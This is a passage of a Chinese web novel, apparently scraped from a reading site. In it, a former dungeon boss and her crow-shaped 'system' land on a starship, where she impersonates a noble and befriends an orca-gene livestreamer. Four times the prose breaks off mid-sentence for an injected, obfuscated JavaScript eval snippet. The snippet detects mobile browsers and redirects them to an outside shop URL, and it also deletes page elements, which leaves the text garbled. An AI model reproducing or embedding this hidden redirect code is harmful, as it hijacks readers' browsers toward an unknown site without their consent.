真是完美的计划,如果没有遇到钱雨青这个金钱绝缘体,导致谢守光作为暴富系统的职业生涯就此滑铁卢的话。 钱雨青,谢守光命中贵人的反义词,一个因为杀了和主神谈恋爱的走后门玩家,结果被开除的前副本BOSS,听起来是个妒世嫉俗的热血愣头青。 刚听到她的背景时,谢守光忍不住心里直打鼓。 一切和该死的无限流世界有关的东西都会让他神经过敏,但最终,他还是把钱雨青是骑士的可能性暂时搁置了。 是的,没错,钱雨青是个坏蛋。没有哪个副本BOSS的手中不沾着受害者的血,这句话甚至同样适用于绝大部分玩家。 无数玩家或NPC藉由自身欲望所凝聚的邀请函进入搏命的游戏,如同洁净的水滴洒入漆黑的海。 在那片充斥着血腥和绝望的残酷角斗场,除非有被主神所眷顾的天命,一路躺平加保送,或者实在强到可以逆天而行,普通人迟早会遇到拷问内心的抉择,做出令曾经的自己不齿的,卑鄙的事。 纯白的人是活不下去的,但忍受混乱和享受混乱仍然是截然不同的概念。 虽然钱雨青早就说过很多次自己是个知名大反派,但谢守光无法把她的行事风格和自己记忆中的任何一位老朋友对得上号。 她吹嘘自己大BOSS身份的时刻实在太多,次次都说得手舞足蹈、天花乱坠,反而听起来让人感到虚假。 或许是那个雨天在天桥下的初见太令人印象深刻,又或许是她们俩一起吃了三个月馒头的痛苦经历太刻骨铭心,亦或许是钱雨青甚至从没有尝试过违反法律。 她做过最过分的事,就是希望和乌鸦开宠物直播卖萌,被谢守光严词拒绝。 她还有副本BOSS的通病——在夜晚会让人感到恐惧。 这是人类刻在本能中对危险的抗拒,就像很多人不敢半夜摸黑去上厕所。即使那是在自己家,即使他们的头脑和理智都做出“绝对安全”的判断,心底的某个部分还是会尖叫,拖住脚步不敢上前。 想要伪装的骑士不会犯这样的低级错误。 最重要的一点,谢守光可以轻易想象一个穷凶极恶的骑士,一个狡猾冷酷的骑士,甚至装作普通路人,在擦肩而过时露出诡谲冷笑,便随手毁掉倒霉蛋一辈子的骑士。 但他实在很难想象一个偷挖他面包里的奶油和水果,有事装死没事耍宝,路过公园还会冲过去排在幼儿园小朋友后面等着玩滑滑梯的骑士。 直到在末日世界中,钱雨青和同为反派的沈修明谈到了皮套的问题。 让沈修明感到莫名其妙的讨论灌入乌鸦的耳中仿佛最直白的挑衅。 钱雨青是骑士的皮套之一吗?如果钱雨青就是骑士,它为什么要大费周章地装可怜迷惑谢守光,又为什么大摇大摆地露出破绽? 谢守光没有眼瞎到看不清真情与假意,也不会说服自己放过疑点。相反,他的直觉敏锐得可怕,堪称登峰造极。很多玩家就算不相信自己,也一定会相信谢守光的判断。否则他也没本事在无限流世界中紧咬擅长伪装的骑士不放。 但成为系统后经年累月的相处足以让谢守光了解钱雨青的本性。一个人可以短时间内进行扮演,但绝无可能在几年的时间里完全变成另一种人。哪怕是骑士也不可能全无破绽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470862|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱雨青固然有着属于怪物的凶残一面,但她的本性中属于人类的那部分却也出人意料的多。多到她甚至偶尔会展现出挣扎的善良。 但两者相结合,却让她的真心看起来加倍扭曲狂乱。 一开始面对陈露和冬珍珍,钱雨青展现出不管两人死活的虚伪和冷酷是真心,但在乌鸦用奖励车票为由强制她插手之后,她希望冬珍珍不要走上歧路的劝告同样出自真心。 还有那段声称反派必定会被主角打败的宣言……她到底想干什么? 为了试探,谢守光故意打乱钱雨青的计划,将陈露遇险的消息提前告知林涵。但最终钱雨青的反应却很平淡,只是威胁如果下次再自作主张,就要掏走乌鸦的亮晶晶收藏。 “我都不知道你收集了这么多,”第一次翻出乌鸦小金库的钱雨青都惊了,整整一大箱宝石、首饰和古金币,甚至还有一顶和乌鸦的小脑袋瓜尺寸得宜的小皇冠,“这能算是我‘训练宠物所得’的收入吗?” 乌鸦说:“当然不能。这是我的私藏。如果你敢动它们,我就抠你眼珠子。” 末日世界里贬值最严重的就是这些东西,价值还不如一块发霉面包,但换个世界就不是这样了。钱雨青不能赚钱关我暴富系统什么事,她吃她的苦,我享我的福。 “你这条毛茸茸的迷你恶龙,”顶着乌鸦凶狠的目光,钱雨青扁着嘴把红宝石戒指放回它的盒子,“等你学会喷火,就可以去顶替史矛革的位置了。” 同样是转换世界,但这一次,钱雨青和乌鸦之间的氛围已经大不如前。 具体表现为,钱雨青一恢复视野,就发现自己正蹲在某个厕所隔间的马桶盖上。灵敏的听力让她听到外面传来隐隐约约的,脚步踏在地毯上产生的声响。 “告诉我这里不是男厕所,或者我在这里宰了你。” 被她抓在手里的乌鸦蹬腿:“是女厕所,你随时可以出去。” 钱雨青满意了,把乌鸦藏进外套的阴影里,推门走出。 这间厕所修得金碧辉煌,偏黄的暖光照在每一片都一尘不染的瓷砖上,空气中浮动着说不清道不明的清新香气。 穿着露肩深蓝色短款晚礼服的女人正对镜补妆。她淡金色的长发挽在脑后,飘动的裙摆荡漾着鱼鳞般透亮的质感,辅以大量珍贵的圆润淡粉色珍珠作点缀。 一人一鸟注意到,她的肩膀的血肉上长着几片和晚礼服同色系的蓝色鳞片,双颊边垂下的鬓发旁,露出的也并非人耳,而是两片张开的鱼鳍,为她增添了一丝神秘的美。 钱雨青从她的身后路过。秉持不能让别人觉得自己上厕所不洗手的原则,干脆站在鱼女旁洗了个手。 突然响起的水流声牵动了鱼女的注意,她一边抹口红一边抬头,在看见钱雨青的一瞬间手悚然一抖。她却没有管自己涂歪了的口红,声嘶力竭地尖叫起来:“保安!保安!救命!这里有变态!有男人进了女厕所!!” 洗手声戛然而止。 饶是见惯大风大浪的钱雨青和乌鸦脑中也一时空白。她看了看自己的身后,确定这里的确只有她们两人,便转回来指了指自己:“男人?我?” 女人用更绝望的哭声回应:“救命!他是个疯子!!” 27. 无助的宿主 或许星际世界就是如此神秘。 出门在外,最重要的就是入乡随俗。 没见过世面的乡下人钱雨青一时也不敢坚称自己绝对是女人,万一这个星际时代的性别划分法和她所知的不同呢?远的不提,ABO六性别划分法她可是真在同事的副本设定里见过的。 为避免继续刺激女人的神经,她举起双手,稳步退出女厕所,站在了走廊上。 钱雨青不知道乌鸦把自己放到了什么地方。走廊上的装修和卫生间内如出一系,地面全覆盖着价值不菲的红色地毯,描着金粉的墨绿色墙面上错落地挂着尺寸不一、各具风格的风景画,画框间隔的凹槽内则放着金银制镶宝石的雅致摆件。 哪怕钱雨青没什么艺术鉴赏能力,也看得出来不是凑数的劣质假货。 在一阵逐渐靠近的嘈杂喧哗声中,穿着正装的男男女女抱着好奇心凑近,将现场包围。四个膀大腰圆的保安保护在女士身边,快速将两人远远分隔开,最旁边的小队长扯着对讲机低声吩咐几句后,走到钱雨青面前:“先生,请问就是您和艾丽斯小姐起了冲突吗?” 她到底先生在哪?! “这是误会。”钱雨青说。 “当然、当然,”在有能力处理问题的高层来之前,他一个小小的保安队长也不想惹事,一见钱雨青否认便连连点头,“这其中大概是有什么误会,您是……呃。” 他突然沉默了。 忘了说,钱雨青在转移世界时并没能未卜先知地给自己收拾出一套正装穿上。 现在她穿着的服装仍然是方便行动的黑风衣,里面是耐脏的百搭黑衬衫黑长裤,脚蹬一双饱经风霜的战术靴。虽然看起来干净,但凑近还是能闻到洗不掉的淡淡硝烟和血腥气。整个人比一身黑毛的乌鸦还少了一对漂亮的红眼睛做配色。 和不远处衣香鬓影的宾客们比起来,她淳朴得像是来讨债寻仇的道上人。不幸中的万幸是她有记得把原本挂满身的武器藏起来。 总之,这不是该出现在这里的搭配。 眼见着保安队长端正的脸上聚起前所未有的警惕和敌意,手臂肌肉鼓起,好像下一秒就要拉响警报,钱雨青在脑内大叫救命,面上却镇静如初,轻拍自己的衣摆,没有选择摆架子,而是用带着少许尴尬的腔调说:“只是我个人的一点小癖好。我是个小说家,扮演可以让我更深入地揣摩角色。不小心让那位小姐受惊,我感到十分抱歉。” 保安队长的敌意像泄气的皮球一样瘪下去,脸上的表情灵活一动,少了恭敬和忌惮:“真是非常优雅且独特的爱好,先生。” 钱雨青刚要回答,却突然顿住,随后转身看向身后,盯住不远处的拐角。 保安队长的脸上闪过一丝茫然,紧接着便看到穿着合身白色制服的两男一女走了过来。他倒吸一口凉气。 “怎么了?”钱雨青歪头凑过去,用平和中带着好奇的语气问。 保安队长看她一眼,压低声音回道:“那是我们玛丽亚号的舰长摩勒女士和大副马丁先生。至于右边的那位先生……我不知道。” 原来她正在一艘星舰上。 “处理一场小误会需要这么隆重?” “真是个乡下小子。你果然是偷偷混到贵宾舱来的,怎么谁都不认识,”保安队长带着微微的责怪看了她一眼,“那是艾丽斯小姐,艾丽斯·霍尔,联邦排名前十的那个大富豪霍尔家的千金。” “听起来我要完蛋了。” “那谁知道,”保安队长轻快地说,“谁让你偷偷跑到这里来。” 钱雨青看着爱丽丝·霍尔朝那三人走过去,一只手还指着她的方向。头上顶着一对尖尖狗耳朵,面容英俊的马丁低头和她说了些什么,她的神色立刻变得气冲冲起来。 可惜他们的站位角度有点刁钻,钱雨青没能读到他们的口型。 而摩勒舰长和另一个不知名的男人正在朝这边走来。 保安队长当即立正,铿锵道:“舰长,我们抓住了和艾丽斯小姐起冲突的人,他……” 头发花白,脸上沟壑纵横,有一对字面意义上像鹰一样的眼睛的舰长向钱雨青脱帽致礼:“玛丽亚号的舰长,凯瑟琳·摩勒。能在这里见到您,真是我们天大的荣幸,卡尼利恩先生。” 另一个男人同样低头,一头短发像金子一样闪耀,眼眸如上好的蓝宝石般清澈璀璨,目光却锐利而坚硬,比起宝石,更像是钢铁。他将自己的每一寸皮肤都包裹得严严实实,就连双手都带着黑色的手套。 他的制服样式和摩勒马丁并不相同,钱雨青注意到,他口袋里的突起看起来很像某种武器的轮廓:“欢迎回来,舅舅。” 噢,钱雨青知道他,卡尼利恩的姐姐的独子,尼尔森·克莱尔·莱茵。 现在钱雨青知道该去怪谁了。 她当初真应该问清楚生物权限究竟是什么鬼东西的。 难道她不问他就不知道主动说吗,这明显是报复她走得太突然的。坏东西!坏东西! 好在小演一把卡尼利恩对她来说不算难事,钱雨青无视了面前两人的招呼:“关于霍尔小姐,那是个误会。” “是的,之后摩勒女士会向霍尔小姐解释清楚,”尼尔森顿了顿,低声道,“您离开得实在太久了。” 听到他话语中不明显的亲近和撒娇之意,钱雨青的眼神动了动,对摩勒舰长说:“我不希望我的行踪被更多人知晓,辛苦你了。” 凯瑟琳·摩勒仍然将帽子拿在手里,再次恭敬弯腰:“我的荣幸。” 转过身,钱雨青朝尼尔森抬了抬手,对临时上岗的大侄子示意:“走吧。” 尼尔森会意领路,将钱雨青带回了自己的房间。 他在星舰上的地位果然不低,使用的房间也是最高级别的待遇。 一打开门,奢华到没朋友的气息便扑面而来。客厅的灯自动亮起,窗帘拉开,巨大的落地窗外是无垠的宇宙与繁星。机械仆人悄无声息地端来两杯酒,泛起涟漪的酒液如同液体的红宝石般美丽。 “尝尝?”尼尔森端起一杯递过来。 钱雨青没有拒绝,轻抿一口,淡淡点头:“不错。” “当我看到你,就忍不住想起莎菲尔。”她说。 尼尔森的表情柔和下来:“每个人都这样说。” 钱雨青叹气:“但我暂时还不能回去。” 卡尼利恩对自己的家庭情况说得不算多,钱雨青只知道他有一个哥哥艾德里安和一个姐姐克莱尔。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钱雨青用无奈又温柔的眼神看着他,说:“让我看看你的手。” 尼尔森再次把拳头攥紧,抿起的嘴唇说明了他的抗拒,但钱雨青一直看着他,于是他最后还是垮下肩膀,摘下了自己的手套。 这不是双美观的手,手指虽然长,但骨节粗大,还有轻微错位,看上去有些歪扭。他的指甲修剪得很短,手背上凸着青筋,遍布着烧伤、撕裂伤,乃至穿刺伤的痕迹。翻一个面,手心全是粗粝的茧。 如果这是张脸,它绝对算得上是重度毁容了。 察觉到钱雨青抓握的力道略有放轻,尼尔森立刻抽回手,重新戴好轻而薄的黑手套:“没关系的,没有后遗症。” 钱雨青没有回应,直接说起自己的话题:“长话短说,尼尔森,这次我是专门来找你的。我不能出现太久,所以我将权限委托给了我的盟友。你可以相信她,但不要帮助她,以免受到牵连。如果有需要,我会直接联系你,明白吗?” 尼尔森低声道:“我明白。您打算做什么?” 钱雨青轻轻地笑:“这就取决于我的盟友查到什么地步了。” 尼尔森也笑起来,露出两颗尖利得过分的犬齿:“我绝不放过他们。” 28. 奥卡斯 坚持没让尼尔森出门送她,钱雨青绕过拐角,站在监控的盲区,终于松了一口气,在影中隐去身形。 关闭生物权限,沿着之前下载的地图一路向下,来到经济舱。很好,铁灰的墙壁深黑的地,炽白的灯带泛着冷光。在属于普通人的朴实味中,穷酸的钱雨青得到了心灵的宁静。 她装模作样地点了点手腕上尼尔森刚送的通讯器,作出正在和人通话的样子,咬牙切齿地说:“满意了?” 旁人看不到的半透明虚拟屏幕自眼前跳出,卡尼利恩·莱茵那张讨人厌的脸正在哈哈大笑。 在空间跳跃和跨位面通讯的领域,主神空间拥有绝对的权威。别说跨位面通话,全程直播加特效也是轻轻松松。可以说,能够通过考核当上系统的智慧体,理论上都有足以当宇宙级黑客的技术。 而宿主想要利用这份技术,最好的方法当然是压榨打工仔系统们。 早在认出尼尔森的时候,钱雨青就联系了乌鸦,由乌鸦联系逆袭系统,最后接到卡尼利恩的通讯。 虽然因为讨厌系统在她的脑内说话,所以当初一照面就给它发了大禁言套餐,但脑电波通话的功能从未被关闭。 卡尼利恩可以通过钱雨青的眼睛,观看他们谈话的全过程。 “生物权限究竟是什么东西?”钱雨青问。 “你可以理解为身份证加强版,约等于ABO世界的信息素。但又更麻烦一点,因为除了性别,它还包含种族信息。恭喜闻不见信息素的你,成为本位面唯一的beta。” 钱雨青嘴角抽搐:“拜托你讲得更清楚点。” “行。记得你看到很多人身上都带着动物特征吗?这就是我们最重要的成果,基因重构。比如那只鱼女,艾丽斯·霍尔,她的家族有着彩雀鱼的基因。” 彩雀鱼,斗鱼的一种,是外表华丽、十分凶猛好斗的鱼类。 霍尔家族有着和彩雀鱼类似的习性,家族成员无论男女,外表都华丽得美艳炫目,同时性格霸道非常,令人诟病。他们中许多人都是综艺节目常客,营销大咖,因为暴力行为登上星系新闻更是家常便饭,堪称各大抓马家族中的抓马之王。 好斗成就了他们,也差点毁灭了他们。霍尔家族的子女一旦成年便必须各自分家,否则就会争斗不休。 “霍尔小姐的抓马指数更是个中翘楚。她大叫保安,是因为雌斗鱼对陌生雄性的攻击性比较小。如果你当时的信息素是女人,恐怕不和她来一场自由搏击可走不了。” “……如果我是女人,就不会因为进女厕所被打了好吗?你这家伙在说什么呢。” 所以在生物认证中加入种族信息,算是不得已而为之的策略,主要是提醒人们注意礼让,避免发生不必要的冲突。 钱雨青问:“性格霸道的种族不知收敛,被侵占空间的代价岂不是都要让性格温和的种族来买单?” 卡尼利恩说:“他们买了。” 不愧是性格温和的种族。 “性别也一样,必要标注,因为有的种族性别认定很复杂。比如小丑鱼,他们全族都是天生的雄性。但结婚后,他们的性别会随着家庭关系的需要而转换,但他们的外表却不会。如果没有信息素,压根没人分得清他们的男女。” “海兔更复杂,我以前有过一个海兔同事。它们都是雌雄同体的,所以人称代词只能用‘它’。如果你搞错了,它们还会投诉你歧视。因为用‘他’或者‘她’都代表否定了它们拥有的另一种性别,等于辱骂它们是残疾人。噢,不好的回忆在攻击我,我有点生气了。” 钱雨青不给面子地嘲笑出声,但随即想起自己的处境,又笑不出来了。 她忘了一件事,不管是“卡尼利恩·莱茵”还是“钱雨青”,在这条星舰上都属于板上钉钉的偷渡者——嗯,对,再一次。她迟早要把管杀不管埋的乌鸦爆揍一顿。 摩勒和尼尔森没有质疑卡尼利恩突然出现又消失,一是因为他身份特殊,二是卡尼利恩本就隐姓埋名,使用伪造的身份顺理成章。 但初来乍到的钱雨青可没有这待遇。这深更半夜的,连贵宾舱的晚宴都快结束了。如果再找不到落脚地,她今晚恐怕真得蹲马桶上睡觉。 不过烦恼归烦恼,钱雨青继续轻松地问:“莱茵家是什么种族?” 卡尼利恩秒答:“智人。” 钱雨青:“我还以为你会答猴子。” 卡尼利恩:“我猜你想说的是黑猩猩。嗯,也不算错,毕竟人类的确是秃毛猴子。但从基因上看,莱茵家是纯种人类,和你一样。” 钱雨青学着保安队长的语气调笑道:“我的荣幸,卡尼利恩先生。” 话音刚落,她突然停住脚步。两秒后,一个女人从长廊的另一头走来。 这是个外表很……有个性的女人。 如果按年龄划分,应当叫她少女。 她梳着长度垂到腰际的麻花双马尾,发质有种精心打理过的蓬松;头发颜色黑白交错,但不显杂乱,反而充满设计感;身上穿着一条同样黑白色的哥特式华丽及膝裙,其上的绣纹随着走动闪闪发亮;一双高跟皮靴过膝,走得近了,钱雨青听到鞋带尾的小铃铛发出细微的清脆叮铛声。 最有特色的还是她的眉毛。白色的点点眉,放在她那张既天真烂漫又有几分锋利的漂亮脸蛋上意外和谐。 她走到钱雨青跟前,用空灵动听的美妙声音问:“你需要帮助吗?” 钱雨青问:“你是谁?” 少女眨眨眼,歪着头老实回答:“我是奥卡斯。你需要帮助吗?” 奥卡斯? 民俗豆知识。她的回合! 钱雨青大脑转得飞快:奥卡斯这个名字,既是罗马神话中的冥界之神,同时还是虎鲸的词源。这种以鲸为名的生物实际归属于海豚科,高社会化、智商超群,对猎物十分残忍,但唯独对人类非常热情友好。 奥卡斯的外表看起来的确很像虎鲸,可惜她无法直接确认。 现在她明白不能读“信息素身份证”的beta之痛了。 等下了星舰,她一定要去买一套生物图鉴补补课。 钱雨青也眨眨眼,歪着头问:“你是逆戟鲸?” 奥卡斯点头:“当然。” 钱雨青问:“你怎么知道我需要帮助?” 奥卡斯的眼神闪烁了一下:“我……听到了,你需要帮助。我有通灵的能力。” 她不想回答。 钱雨青已有决断,轻轻放过她,回答道:“我确实需要帮助。我初来乍到,无处可去,需要好心人收留。” 果不其然,奥卡斯没有质疑,只是点点头:“你可以跟我一起住。” 奥卡斯的房间位置不错,远离总有人流来来往往的通道,但又没远到每次出门都痛苦得像跑马拉松。 经济舱的房间当然不会像总统套房那样奢华,窗户只有普通卧室窗的大小,但基础设施五脏俱全。其中最显眼的,就是房间一角的三屏电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470864|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑桌,人体工学椅,和旁边堆叠的专业直播设备。 “我是个网络主播,完全没什么粉丝的那种,”奥卡斯有些不好意思地自我介绍,然后才问:“这艘星舰已经离港七天……为什么你是初来乍到?之前你在哪里?” 钱雨青说:“实不相瞒,我是个位面旅行者,两个小时前刚刚出现在这个宇宙。v我50,我将实现你的愿望。” 奥卡斯惊讶地微微睁大眼睛,点点头:“原来如此。是什么程度的愿望呢?” 哪来的傻妹子。 钱雨青幽幽道:“我很担心你。”的智商。 奥卡斯甜甜一笑:“别担心,别人骗不了我。” 钱雨青直言不讳:“我很怀疑。” 奥卡斯的表情变得很纠结,钱雨青看出她内心在天人交战。 最后,她说:“别担心,我从小就有一种特殊的能力,可以感应到别人的情绪……不是读心,只是情绪而已!所以,如果别人对我有恶意,我会感觉到的……我能感觉到你是真的需要帮助,对我没有恶意,顶多是在开玩笑。你是在开玩笑吗?” 还是很傻,傻得钱雨青想摸摸她的头。 可惜她的发型一看就是精心吹过的,不能摸。 噢,该死,一想到她是只萌萌小虎鲸,钱雨青对她的好感度就像坐火箭一样飙升。 奥卡斯看了她一眼,突然低下头,用额头轻轻撞了一下钱雨青的肩膀:“这种程度可以。” 钱雨青说:“还说你不会读心。” 奥卡斯又瞪圆眼睛:“我只是感觉到你想和我贴贴。但我已经做好造型了,所以只能这样贴!” 噢,天呐。虎鲸! 钱雨青内心汹涌澎湃,表面不动声色:“你的梦想是什么?尽管说就是。” 奥卡斯答:“世界和平。” 钱雨青沉默一瞬,扭头就走:“失敬。” “诶诶诶,”奥卡斯抓住她的手,“怎么了?” 钱雨青感叹道:“这真是太邪恶,太扭曲,太不可理喻了!亲爱的,你还是另请高明吧。” 真是长江后浪推前浪,一山更比一山高。钱雨青哪怕在最疯狂的时候也不会说出这样的梦想。甘拜下风! 奥卡斯笑道:“我还以为你是神眷者呢。” “什么神眷者?” “就是对有‘系统’的人的统称。他们每个人都有特殊的能力,很强很强,好像什么都能做得到,什么愿望都能实现似的。” 奥卡斯往挂在耳朵上的话筒型通讯器一点,房间里的投影仪立刻亮起,在墙壁上投影出一则来自“漩涡之心”麻雀日报的新闻,里面是一长串带照片的人物介绍。 里面涵盖了几个月就从普通人变成超级士兵的身体强度,且没有改造手术痕迹的人;行为模式突然改变,被摄像头拍到从虚空中拿出未知道具的人;运气异常好转,短时间内攫取巨数金钱,势力迅速扩张的人等等等等。完全称得上是《穿越者图鉴大全》。 钱雨青从鼻子哼出一声:“有趣。这群人哪来的?” 奥卡斯摇头:“不知道。被爆出来后,他们大部分和官方合作了,小部分成了通缉犯。现在我们漩涡星系最火的大明星就是个神眷者。她太厉害啦,世上竟然能有这么美的人,还唱歌跳舞演戏样样精通,甚至还为人谦逊从不传出绯闻……” 钱雨青打断道:“你闹钟响了。” 奥卡斯回头一看,大惊失色:“啊,到开播时间了!” 29. 公主与骑士 奥卡斯的直播内容不出意外地是唱歌和聊天。 她的直播风格很活泼,全程蹦蹦跳跳的,但唱的歌曲类型很杂。有时是观众点歌,有时是她自己想唱。 人在听音乐时,关注的重点往往不同。 有人看重旋律是否抓耳,有人看重歌词是否富有哲理。而奥卡斯唱的曲目,旋律钱雨青没听过,歌词也经常听不懂,但她的心绪仍会随着歌声旋律的起伏而起伏。 奥卡斯空灵的歌声美得足以掩盖词与曲的光芒,这并非是技巧的纯熟,而是情感的共鸣。 就像人在学着喊出“妈妈”这个词语之前,就天然地懂得母亲的概念。在听众理解歌曲这个载体之前,灵魂就已识别出其中蕴含的情感,并为之心折。 钱雨青自觉站在摄像头外,靠在窗边,扭头看向浩瀚无垠的星空,但实际上是在和暴富系统交谈。 “主神空间知道这件事吗?” 大规模搜捕和通缉系统宿主可不是什么随处可见的事。虽然新闻中说得模棱两可,“神眷者”的代号甚至有明显褒义和宣传娱乐化,但字里行间都透露出不妙的气息。 “完全没有听说,”乌鸦的声音很严肃,“在这个位面,情况未明之前,我们最好暂时切断对外通讯,保持静默。” 直接给主神空间打报告是不可能的。两个自己就是偷渡客的人,在一个他们根本不该存在的位面给总部打报告,简直是自投罗网。 钱雨青表示同意,并零帧起手进行阴谋论:“谁知道被逮进去的宿主有没有被解剖。他们连系统的存在都知道了,尤其是那个增强身体强度的,没有进行过改造手术痕迹的结论从何而来?你通知一下卡尼利恩。” 宿主超越位面的能力带来的是对原世界规则平衡的破坏。 别说其中最敏感不可说的金钱和武力,哪怕是看起来很无害的恋爱系统,一张转盘里最不值钱的“十分钟目标人物好感度100%体验券”,落在钱雨青手里,都可以有一百种方法闹得天下大乱。 也难怪那种看似搞笑,实则概念神的系统都喜欢找胸无大志的咸鱼宿主。 浪费资源固然令人心痛,但太过高效的资源利用又着实可怕。但避免了身为位面外来物种的宿主闹出大乱子后,随之而来的问题,则是这些躺平咸鱼在真正的阴谋和围剿面前表现得太过孱弱。 现在,这些超格能力落在了土著组织手中。 乌鸦说:“莱茵回复了。他说,‘如果你走到最后一步,就带走尼尔森,但不要让他知道我的事,我已经是个死人了’。” 钱雨青说:“他在这种时候可真像珍珍。”都不想让爱的人看到自己堕落得面目全非的样子。 乌鸦反对:“他们并不像。” 钱雨青皱眉,仔细思考一番后同意道:“你是对的。” 这时,奥卡斯突然抬高的声音吸引了钱雨青的注意力。 “这和吃不吃肉没有关系!仇恨是没有尽头的,我希望世界和平,是不想看到无意义的痛苦。我知道这做不到,但说出来总比没人说好!” “所以你们做了什么?一边吃泡面抠脚一边发表社达言论?天天网上指点江山最终幻想前能不能撒泡尿照照自己的蠢样?等哪天你们星球发生了战争,你就是第一批被推上去填线的炮灰。” “和平跟你有个屁的关系,我不仅希望好人能享受和平,还希望傻der全部暴毙死翘翘。喜欢骂别人劣种?让我看看你是什么货色……我去,蟑螂?我杀虫剂呢?!” “怪了,难道你舔高层腚眼子有钱拿?哎哟喂,舔来舔去不会别人回头一脚就能踢死你吧?嘬嘬嘬,你怎么不来舔我,我也不把你当人看啊?” 她和观众吵起来了,并且语言的攻击力度在不断上升。 “哇哦,火力全开,”钱雨青走过去,仍然站在摄像头的死角,阅读直播间火热喷洒的留言,“现在我知道为什么奥卡斯是糊糊小主播了。” 像是为了应和她的话,啪嚓一声,奥卡斯的直播间终于被举报到停播了。 虎鲸翻了个白眼,站起身,拨了拨稍乱的刘海,意犹未尽地咂巴咂巴嘴,朝钱雨青无辜一笑。 “精彩。”钱雨青说。 奥卡斯轻咳一声:“如你所见,我没法靠直播赚到足够的钱……” 应该的,能赚才有鬼了。 钱雨青一本正经地接续之前的话题:“如果这就是你的愿望,可以雇佣我成为你的助理,帮你管理直播间。放任部分观众刺激你的情绪有百害无一利。” 奥卡斯脸红道:“我付不起足够的工资……” 钱雨青大度道:“没关系,最低标准就可以。苟富贵,毋相忘。” 网民的记忆力只有可怜的七秒,网红的黑历史更是厕纸一张。黑红也是红,只要好好包装,凭奥卡斯的歌喉和美丽外形,反正一碗饭是不用愁的。 奥卡斯眼前一亮,连连点头,钱雨青顺着她的指引下载了直播网站,给自己注册了新账号,然后不假思索地在ID栏写下了“骑士”。 “这是什么意思,”奥卡斯眼神亮晶晶的,“青青,你是我的骑士吗?” 这句话实在太有既视感,钱雨青动作夸张地弯腰行了个骑士礼,答:“当然,我的公主。这个账号只为你存在。” 她故意用油腻的深情语气说话,肚子却很不给面子地咕噜噜响起来,给这场即兴尬演划上了完美的句号。 “你饿了吗?”奥卡斯笑着问。 钱雨青若无其事地站直:“嗯哼,只吃了早饭。”还抿了一口红酒。 “没关系,厨房总有夜宵,”看着钱雨青略带茫然的神色,奥卡斯善解人意地说,“我帮你去拿吧,明天我们再一起去餐厅。” 她出了门,钱雨青感慨万千:“她真是个好孩子,不是吗?” 转过头,一个黑发红眼的男人站在她身后,表情冷漠得可怕。 如果说高阶丧尸的红瞳会让旁人联想到黏腻浑浊的血腥,面前这个人的红色瞳孔却另有一种清澈的粼粼质感,如同有火焰在其中闪动燃烧。他的容貌很英俊,但就和钱雨青一样,他们过盛的气质完全压过了精致面容给人留下的印象,像是被淬炼过的钢与铁,又像是远山沉默的峰脊。 比起人类,他更接近某种稳定的、不可摧毁也不可动摇的东西。 “骑士。”谢守光咀嚼着这个名字,神态像一匹咀嚼着敌人肋骨的狼。 钱雨青感叹:“我还是怀念你鸟时候的样子。肥乌鸦真的很可爱。” 如果乌鸦还在这里,它一定会说:“哪里肥了?” 但就像每一个没有了萌萌皮套就不愿放飞自我的无聊人类一样,谢守光没有说笑的心情,直截了当地问:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470865|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底想干什么?” 钱雨青半点不慌,老神在在地说:“做你当初没能做成的事。” 她指的自然是杀死主神。谢守光不奇怪她知道自己突然毕业的真相,但骑士作恶时沉沦的快乐不是假的。说得直白一点,这么多年都过来了,想打的早打了,想叛的早叛了,哪有端着金饭碗突然裸辞的,日子真不过了? 哦,不对,等等。 谢守光猛然想起一件事——骑士,是不是失业了来着? 是的,钱雨青早就说过了,她是因为恶意淘汰和主神谈恋爱走后门的玩家被开除的。当时主神偷发私信叫她放水,结果反被钱雨青锁定目标,当晚就吹着唢呐把人抬走了。 他当时没太在意。 反正副本BOSS的名号听着唬人,实则数量多如牛毛,谁也不会在乎底边小糊糊干了什么。但把钱雨青的名字和臭名昭著的骑士一关联,这件事可就惊悚多了。 “我要纠正你一点,”钱雨青竖起一根手指,“找主神的麻烦这件事,我一直在做。只是祂从未真正惩罚过我。” 这意味着钱雨青的反抗也是被主神允许,乃至鼓励的。一想到这件事,骑士就被恶心得想要大吐特吐。 